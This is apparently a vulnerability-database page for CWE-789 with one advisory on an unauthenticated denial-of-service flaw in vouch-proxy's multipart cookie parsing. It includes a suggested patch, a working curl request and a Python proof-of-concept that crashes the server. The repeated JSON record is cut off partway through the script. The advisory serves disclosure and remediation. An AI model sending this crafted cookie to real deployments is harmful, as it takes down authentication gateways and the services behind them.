Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

507 vulnerabilities reference this CWE, most recent first.

GHSA-QQFF-5854-PX68

Vulnerability from github – Published: 2026-08-20 17:26 – Updated: 2026-08-20 17:26
VLAI
Summary
vouch-proxy has an Unbounded Multipart Cookie Allocation DoS
Details

Unbounded Multipart Cookie Allocation DoS in vouch-proxy

Summary

vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.

Details

The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:

// pkg/cookie/cookie.go:123–130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
        return "", fmt.Errorf("multipart cookie fail: %s", err)
    }
    cookieParts = make([]string, numParts)  // sink: unbounded allocation
}

The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.

The complete exploit path from network entry to crash:

  1. main.go:167 — /validate and /_external-auth-:id are registered wrapped in JWTCacheHandler.
  2. pkg/jwtmanager/jwtcache.go:54 — JWTCacheHandler calls FindJWT(r) before any authentication check.
  3. pkg/jwtmanager/jwtmanager.go:228 — FindJWT calls cookie.Cookie(r).
  4. pkg/cookie/cookie.go:109 — r.Cookies() reads the attacker-supplied Cookie: header.
  5. pkg/cookie/cookie.go:124 — cookie name suffix is split on "of".
  6. pkg/cookie/cookie.go:126 — strconv.Atoi(xyArray[1]) parses the attacker-controlled total.
  7. pkg/cookie/cookie.go:130 — sink: make([]string, numParts) attempts a gigantic heap allocation.

Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.

A suggested remediation is to add a strict upper bound and format validation before the allocation:

--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
-    xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
-    xyArray := strings.Split(xOFy, "of")
+    xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
+    partStr, totalStr, ok := strings.Cut(xOFy, "of")
+    if !ok || partStr == "" || totalStr == "" {
+        return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
+    }
     if numParts == -1 {
-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+        if numParts, err = strconv.Atoi(totalStr); err != nil {
             return "", fmt.Errorf("multipart cookie fail: %s", err)
         }
+        if numParts < 1 || numParts > maxCookieParts {
+            return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
+        }
         cookieParts = make([]string, numParts)
     }

PoC

Environment setup

Build the vulnerable image from source (requires the vouch-proxy repository at the path below):

docker build \
  -f vuln-001/Dockerfile \
  -t vouch-vuln001 \
  repo

Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):

docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001

Wait for the server to respond to a baseline request (expected HTTP 302 or similar):

curl -v http://127.0.0.1:19090/validate

Attack request

Send a single unauthenticated HTTP GET with the malicious cookie name:

curl -v http://127.0.0.1:19090/validate \
  -H 'Host: app.example.com' \
  -H 'Cookie: VouchCookie_1of10000000000=x'

Alternatively, run the automated PoC script:

python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000

Expected result

The server process crashes immediately with a Go runtime fatal error. Container logs show:

fatal error: runtime: out of memory

runtime.makeslice(0x0?, 0x0?, 0x0?)
    /usr/local/go/src/runtime/slice.go:117
github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
    /src/pkg/cookie/cookie.go:130
github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
    /src/pkg/jwtmanager/jwtmanager.go:228
main.main.JWTCacheHandler.func1(...)
    /src/pkg/jwtmanager/jwtcache.go:54

The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.

Minimal configuration (no real OAuth provider required):

vouch:
  logLevel: info
  listen: 0.0.0.0
  port: 9090
  domains:
    - vouch.github.io
oauth:
  provider: indieauth
  client_id: http://vouch.github.io
  auth_url: https://indielogin.com/auth
  callback_url: http://vouch.github.io:9090/auth

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.

An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.

No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.

Reproduction artifacts

Dockerfile

# VULN-001 — Unbounded Multipart Cookie Allocation DoS
# vouch/vouch-proxy v0.47.2 (commit b683f60)
#
# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x
#   -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
#   -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime
#   -> Server process crashes; no authentication required
#
# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001

# ---------- Stage 1: compile vouch-proxy from source ----------
FROM golang:1.26 AS builder

WORKDIR /src
COPY . .

# Build a statically linked binary; skip do.sh which requires live git tags.
# Version ldflags are pinned to the affected commit for reproducibility.
RUN CGO_ENABLED=0 GOOS=linux \
    go build -v \
      -ldflags="-s -w \
        -X main.version=b683f60 \
        -X main.uname=linux \
        -X main.builddt=2024-01-01T00:00:00Z \
        -X main.host=vuln-poc \
        -X main.semver=v0.47.2 \
        -X main.branch=main" \
      -o /vouch-proxy .

# ---------- Stage 2: minimal runtime image ----------
FROM debian:bookworm-slim

RUN apt-get update && \
    apt-get install -y --no-install-recommends ca-certificates && \
    rm -rf /var/lib/apt/lists/*

COPY --from=builder /vouch-proxy /vouch-proxy

# Minimal config: allowAllUsers so startup succeeds without real OAuth,
# default cookie name VouchCookie matches the PoC payload.
RUN mkdir -p /config && cat > /config/config.yml << 'EOF'
vouch:
  logLevel: info
  listen: 0.0.0.0
  port: 9090
  domains:
    - vouch.github.io
oauth:
  provider: indieauth
  client_id: http://vouch.github.io
  auth_url: https://indielogin.com/auth
  callback_url: http://vouch.github.io:9090/auth
EOF

EXPOSE 9090
ENTRYPOINT ["/vouch-proxy"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS
Target: vouch/vouch-proxy v0.47.2 (commit b683f60)
File:   pkg/cookie/cookie.go:126

Attack summary
--------------
The multipart-cookie reassembly routine reads the total part count from the
attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls
    make([]string, N)
with no upper-bound check.  The /validate endpoint is reachable without any
authentication, so a single HTTP request with N=10_000_000_000 forces the
Go runtime to attempt a ~160 GB heap allocation, which immediately triggers
    runtime: out of memory: cannot allocate ...
and crashes the server process (Go fatal, exit 2).

Usage
-----
Run from the repo root (or any directory; paths are absolute):

    python3 poc.py [--image IMAGE] [--port PORT] [--parts N]

Defaults:
    IMAGE  = vouch-vuln001
    PORT   = 9090
    PARTS  = 10000000000   (10 billion -> ~160 GB allocation request)
"""

import argparse
import http.client
import json
import subprocess
import sys
import time

# ──────────────────────────────────────────────────────────
# Configuration
# ──────────────────────────────────────────────────────────
DEFAULT_IMAGE  = "vouch-vuln001"
DEFAULT_PORT   = 19090        # host port; container always uses 9090 internally
DEFAULT_PARTS  = 10_000_000_000          # drives make([]string, 10_000_000_000)
CONTAINER_NAME = "vouch-vuln001-poc"
STARTUP_TIMEOUT_S = 30                   # seconds to wait for the server to listen
READY_POLL_S  = 1.0


# ──────────────────────────────────────────────────────────
# Helpers
# ──────────────────────────────────────────────────────────

def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    """Run a subprocess and return the CompletedProcess."""
    print(f"[cmd] {' '.join(cmd)}")
    return subprocess.run(cmd, **kwargs)


def cleanup(name: str) -> None:
    """Remove an existing container by name, ignoring errors."""
    subprocess.run(
        ["docker", "rm", "-f", name],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
    )


def wait_for_server(host: str, port: int, timeout: float) -> bool:
    """Poll GET /validate until we get any response (even 401/302) or timeout."""
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/validate")
            resp = conn.getresponse()
            # Any HTTP response means the server is up.
            print(f"[ready] server responded: HTTP {resp.status}")
            conn.close()
            return True
        except OSError:
            pass
        time.sleep(READY_POLL_S)
    return False


def container_running(name: str) -> bool:
    """Return True if the named container is still running."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.Running}}", name],
        capture_output=True, text=True,
    )
    return r.returncode == 0 and r.stdout.strip() == "true"


def container_exit_code(name: str) -> int | None:
    """Return the exit code of a stopped container, or None if unknown."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.ExitCode}}", name],
        capture_output=True, text=True,
    )
    if r.returncode == 0:
        try:
            return int(r.stdout.strip())
        except ValueError:
            pass
    return None


def container_oom(name: str) -> bool:
    """Return True if the container was OOM-killed."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name],
        capture_output=True, text=True,
    )
    return r.returncode == 0 and r.stdout.strip() == "true"


def get_logs(name: str) -> str:
    """Retrieve stdout+stderr from the container."""
    r = subprocess.run(
        ["docker", "logs", name],
        capture_output=True, text=True,
    )
    return (r.stdout + r.stderr).strip()


# ──────────────────────────────────────────────────────────
# Main
# ──────────────────────────────────────────────────────────

def main() -> None:
    parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
    parser.add_argument("--image",  default=DEFAULT_IMAGE,  help="Docker image name")
    parser.add_argument("--port",   default=DEFAULT_PORT,   type=int)
    parser.add_argument("--parts",  default=DEFAULT_PARTS,  type=int,
                        help="N in VouchCookie_1ofN (drives allocation size)")
    args = parser.parse_args()

    host       = "127.0.0.1"
    port       = args.port
    image      = args.image
    num_parts  = args.parts
    cookie_val = f"VouchCookie_1of{num_parts}"

    print("=" * 60)
    print("VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS")
    print("=" * 60)
    print(f"  Image  : {image}")
    print(f"  Target : http://{host}:{port}/validate")
    print(f"  Cookie : {cookie_val}=x")
    print(f"  Expected allocation: ~{(num_parts * 16) // (1024**3)} GB")
    print()

    # 1. Clean up any leftover container.
    cleanup(CONTAINER_NAME)

    # 2. Start the vouch-proxy container.
    #    Memory is uncapped at the Docker level; the Go runtime itself will
    #    fail the mmap when the host cannot honor the 160 GB request
    #    (overcommit heuristic or insufficient address space).
    run_cmd = [
        "docker", "run", "-d",   # no --rm so logs survive after crash
        "--name", CONTAINER_NAME,
        "-p", f"{port}:9090",   # host:container — vouch-proxy always binds :9090 internally
        image,
    ]
    r = run(run_cmd, capture_output=True, text=True)
    if r.returncode != 0:
        print(f"[FAIL] docker run failed:\n{r.stderr}")
        sys.exit(1)
    container_id = r.stdout.strip()
    print(f"[info] container started: {container_id[:12]}")

    # 3. Wait for the HTTP server to accept connections.
    print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...")
    ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)
    if not ready:
        logs = get_logs(CONTAINER_NAME)
        print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.")
        print("[logs]", logs[-2000:])
        cleanup(CONTAINER_NAME)
        sys.exit(1)

    # 4. Send the malicious request.
    print()
    print("[attack] Sending malicious cookie to /validate ...")
    request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x"
    print(f"[attack] {request_line}")
    print()

    try:
        conn = http.client.HTTPConnection(host, port, timeout=10)
        conn.request(
            "GET", "/validate",
            headers={
                "Host": "app.example.com",
                "Cookie": f"{cookie_val}=x",
            },
        )
        # The server might crash before sending a response.
        try:
            resp = conn.getresponse()
            body = resp.read(512).decode("utf-8", errors="replace")
            print(f"[info] got HTTP {resp.status}: {body[:200]}")
        except Exception as e:
            print(f"[info] connection broken mid-response (expected): {e}")
        conn.close()
    except Exception as e:
        print(f"[info] request exception (expected if server crashed): {e}")

    # 5. Give the container a moment to record its exit state.
    time.sleep(2)

    # 6. Collect evidence.
    still_running = container_running(CONTAINER_NAME)
    exit_code     = container_exit_code(CONTAINER_NAME)
    oom_killed    = container_oom(CONTAINER_NAME)
    logs          = get_logs(CONTAINER_NAME)

    print("─" * 60)
    print("[evidence] Container still running :", still_running)
    print("[evidence] Container exit code      :", exit_code)
    print("[evidence] OOM-killed flag          :", oom_killed)
    print()
    print("[logs] (last 3000 chars of container stdout+stderr):")
    print(logs[-3000:] if logs else "(empty)")
    print("─" * 60)

    # 7. Verdict
    #
    # Evidence of exploitation (any one suffices):
    #   (a) Container exited (not still running) after the malicious request.
    #   (b) Exit code == 2 (Go runtime fatal: out of memory).
    #   (c) OOMKilled == true (kernel OOM killer fired).
    #   (d) Logs contain "out of memory" or "runtime: fatal".

    crashed   = not still_running
    go_panic  = exit_code == 2
    oom_kill  = oom_killed
    log_oom   = (
        "out of memory" in logs.lower()
        or "runtime: fatal" in logs.lower()
        or "cannot allocate" in logs.lower()
    )

    passed = crashed and (go_panic or oom_kill or log_oom)

    print()
    if passed:
        print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.")
        # Extract the key OOM line from logs.
        oom_lines = [
            ln for ln in logs.splitlines()
            if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom"))
        ]
        evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}"
    else:
        print("[FAIL] Could not confirm crash. See logs above for details.")
        evidence = logs[-500:] if logs else "(no logs)"

    print()
    result = {
        "passed":        passed,
        "verdict":       "PASS" if passed else "FAIL",
        "reason": (
            "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공"
            if passed else
            "컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고"
        ),
        "build_command": (
            "docker build -f vuln-001/Dockerfile "
            "-t vouch-vuln001 "
            "repo"
        ),
        "run_command": (
            f"docker run --rm -d --name {CONTAINER_NAME} "
            f"-p {port}:9090 {image}"
        ),
        "poc_command": (
            f"python3 poc.py --image {image} --port {port} --parts {num_parts}"
        ),
        "evidence":      evidence,
        "artifacts":     ["Dockerfile", "poc.py"],
    }

    result_path = (
        "reports/pypiAi_450_vouch__vouch-proxy"
        "/vuln-001/phase2_result.json"
    )
    with open(result_path, "w") as fh:
        json.dump(result, fh, indent=2, ensure_ascii=False)
    print(f"[saved] {result_path}")

    # 8. Cleanup.
    cleanup(CONTAINER_NAME)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.47.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/vouch/vouch-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.48.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T17:26:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unbounded Multipart Cookie Allocation DoS in vouch-proxy\n\n### Summary\n\nvouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of\u003cN\u003e`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.\n\n### Details\n\nThe vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:\n\n```go\n// pkg/cookie/cookie.go:123\u2013130\nxOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\nxyArray := strings.Split(xOFy, \"of\")\nif numParts == -1 {\n    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n        return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n    }\n    cookieParts = make([]string, numParts)  // sink: unbounded allocation\n}\n```\n\nThe value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 \u00d7 16 bytes \u2248 160 GB` of memory in a single call.\n\nThe complete exploit path from network entry to crash:\n\n1. `main.go:167` \u2014 `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.\n2. `pkg/jwtmanager/jwtcache.go:54` \u2014 `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check.\n3. `pkg/jwtmanager/jwtmanager.go:228` \u2014 `FindJWT` calls `cookie.Cookie(r)`.\n4. `pkg/cookie/cookie.go:109` \u2014 `r.Cookies()` reads the attacker-supplied `Cookie:` header.\n5. `pkg/cookie/cookie.go:124` \u2014 cookie name suffix is split on `\"of\"`.\n6. `pkg/cookie/cookie.go:126` \u2014 `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.\n7. `pkg/cookie/cookie.go:130` \u2014 **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.\n\nBecause the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.\n\nA suggested remediation is to add a strict upper bound and format validation before the allocation:\n\n```diff\n--- a/pkg/cookie/cookie.go\n+++ b/pkg/cookie/cookie.go\n@@ const maxCookieSize = 4000\n+const maxCookieParts = 32\n@@\n-    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n-    xyArray := strings.Split(xOFy, \"of\")\n+    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n+    partStr, totalStr, ok := strings.Cut(xOFy, \"of\")\n+    if !ok || partStr == \"\" || totalStr == \"\" {\n+        return \"\", fmt.Errorf(\"multipart cookie fail: invalid cookie part name\")\n+    }\n     if numParts == -1 {\n-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n+        if numParts, err = strconv.Atoi(totalStr); err != nil {\n             return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n         }\n+        if numParts \u003c 1 || numParts \u003e maxCookieParts {\n+            return \"\", fmt.Errorf(\"multipart cookie fail: invalid part count %d\", numParts)\n+        }\n         cookieParts = make([]string, numParts)\n     }\n```\n\n### PoC\n\n**Environment setup**\n\nBuild the vulnerable image from source (requires the vouch-proxy repository at the path below):\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vouch-vuln001 \\\n  repo\n```\n\nStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):\n\n```bash\ndocker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001\n```\n\nWait for the server to respond to a baseline request (expected HTTP 302 or similar):\n\n```bash\ncurl -v http://127.0.0.1:19090/validate\n```\n\n**Attack request**\n\nSend a single unauthenticated HTTP GET with the malicious cookie name:\n\n```bash\ncurl -v http://127.0.0.1:19090/validate \\\n  -H \u0027Host: app.example.com\u0027 \\\n  -H \u0027Cookie: VouchCookie_1of10000000000=x\u0027\n```\n\nAlternatively, run the automated PoC script:\n\n```bash\npython3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000\n```\n\n**Expected result**\n\nThe server process crashes immediately with a Go runtime fatal error. Container logs show:\n\n```\nfatal error: runtime: out of memory\n\nruntime.makeslice(0x0?, 0x0?, 0x0?)\n    /usr/local/go/src/runtime/slice.go:117\ngithub.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)\n    /src/pkg/cookie/cookie.go:130\ngithub.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)\n    /src/pkg/jwtmanager/jwtmanager.go:228\nmain.main.JWTCacheHandler.func1(...)\n    /src/pkg/jwtmanager/jwtcache.go:54\n```\n\nThe container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.\n\n**Minimal configuration** (no real OAuth provider required):\n\n```yaml\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.\n\nAn attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.\n\nNo authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 \u2014 Unbounded Multipart Cookie Allocation DoS\n# vouch/vouch-proxy v0.47.2 (commit b683f60)\n#\n# Attack: GET /validate with Cookie: VouchCookie_1of\u003cHUGE\u003e=x\n#   -\u003e cookie.Cookie() calls strconv.Atoi on the attacker-controlled total\n#   -\u003e make([]string, \u003cHUGE\u003e) triggers an immediate OOM fatal in the Go runtime\n#   -\u003e Server process crashes; no authentication required\n#\n# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo\n# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001\n\n# ---------- Stage 1: compile vouch-proxy from source ----------\nFROM golang:1.26 AS builder\n\nWORKDIR /src\nCOPY . .\n\n# Build a statically linked binary; skip do.sh which requires live git tags.\n# Version ldflags are pinned to the affected commit for reproducibility.\nRUN CGO_ENABLED=0 GOOS=linux \\\n    go build -v \\\n      -ldflags=\"-s -w \\\n        -X main.version=b683f60 \\\n        -X main.uname=linux \\\n        -X main.builddt=2024-01-01T00:00:00Z \\\n        -X main.host=vuln-poc \\\n        -X main.semver=v0.47.2 \\\n        -X main.branch=main\" \\\n      -o /vouch-proxy .\n\n# ---------- Stage 2: minimal runtime image ----------\nFROM debian:bookworm-slim\n\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends ca-certificates \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /vouch-proxy /vouch-proxy\n\n# Minimal config: allowAllUsers so startup succeeds without real OAuth,\n# default cookie name VouchCookie matches the PoC payload.\nRUN mkdir -p /config \u0026\u0026 cat \u003e /config/config.yml \u003c\u003c \u0027EOF\u0027\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\nEOF\n\nEXPOSE 9090\nENTRYPOINT [\"/vouch-proxy\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS\nTarget: vouch/vouch-proxy v0.47.2 (commit b683f60)\nFile:   pkg/cookie/cookie.go:126\n\nAttack summary\n--------------\nThe multipart-cookie reassembly routine reads the total part count from the\nattacker-controlled cookie *name* (e.g. VouchCookie_1of\u003cN\u003e) and calls\n    make([]string, N)\nwith no upper-bound check.  The /validate endpoint is reachable without any\nauthentication, so a single HTTP request with N=10_000_000_000 forces the\nGo runtime to attempt a ~160 GB heap allocation, which immediately triggers\n    runtime: out of memory: cannot allocate ...\nand crashes the server process (Go fatal, exit 2).\n\nUsage\n-----\nRun from the repo root (or any directory; paths are absolute):\n\n    python3 poc.py [--image IMAGE] [--port PORT] [--parts N]\n\nDefaults:\n    IMAGE  = vouch-vuln001\n    PORT   = 9090\n    PARTS  = 10000000000   (10 billion -\u003e ~160 GB allocation request)\n\"\"\"\n\nimport argparse\nimport http.client\nimport json\nimport subprocess\nimport sys\nimport time\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Configuration\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nDEFAULT_IMAGE  = \"vouch-vuln001\"\nDEFAULT_PORT   = 19090        # host port; container always uses 9090 internally\nDEFAULT_PARTS  = 10_000_000_000          # drives make([]string, 10_000_000_000)\nCONTAINER_NAME = \"vouch-vuln001-poc\"\nSTARTUP_TIMEOUT_S = 30                   # seconds to wait for the server to listen\nREADY_POLL_S  = 1.0\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Helpers\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n    \"\"\"Run a subprocess and return the CompletedProcess.\"\"\"\n    print(f\"[cmd] {\u0027 \u0027.join(cmd)}\")\n    return subprocess.run(cmd, **kwargs)\n\n\ndef cleanup(name: str) -\u003e None:\n    \"\"\"Remove an existing container by name, ignoring errors.\"\"\"\n    subprocess.run(\n        [\"docker\", \"rm\", \"-f\", name],\n        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n    )\n\n\ndef wait_for_server(host: str, port: int, timeout: float) -\u003e bool:\n    \"\"\"Poll GET /validate until we get any response (even 401/302) or timeout.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            conn = http.client.HTTPConnection(host, port, timeout=2)\n            conn.request(\"GET\", \"/validate\")\n            resp = conn.getresponse()\n            # Any HTTP response means the server is up.\n            print(f\"[ready] server responded: HTTP {resp.status}\")\n            conn.close()\n            return True\n        except OSError:\n            pass\n        time.sleep(READY_POLL_S)\n    return False\n\n\ndef container_running(name: str) -\u003e bool:\n    \"\"\"Return True if the named container is still running.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.Running}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef container_exit_code(name: str) -\u003e int | None:\n    \"\"\"Return the exit code of a stopped container, or None if unknown.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.ExitCode}}\", name],\n        capture_output=True, text=True,\n    )\n    if r.returncode == 0:\n        try:\n            return int(r.stdout.strip())\n        except ValueError:\n            pass\n    return None\n\n\ndef container_oom(name: str) -\u003e bool:\n    \"\"\"Return True if the container was OOM-killed.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.OOMKilled}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == 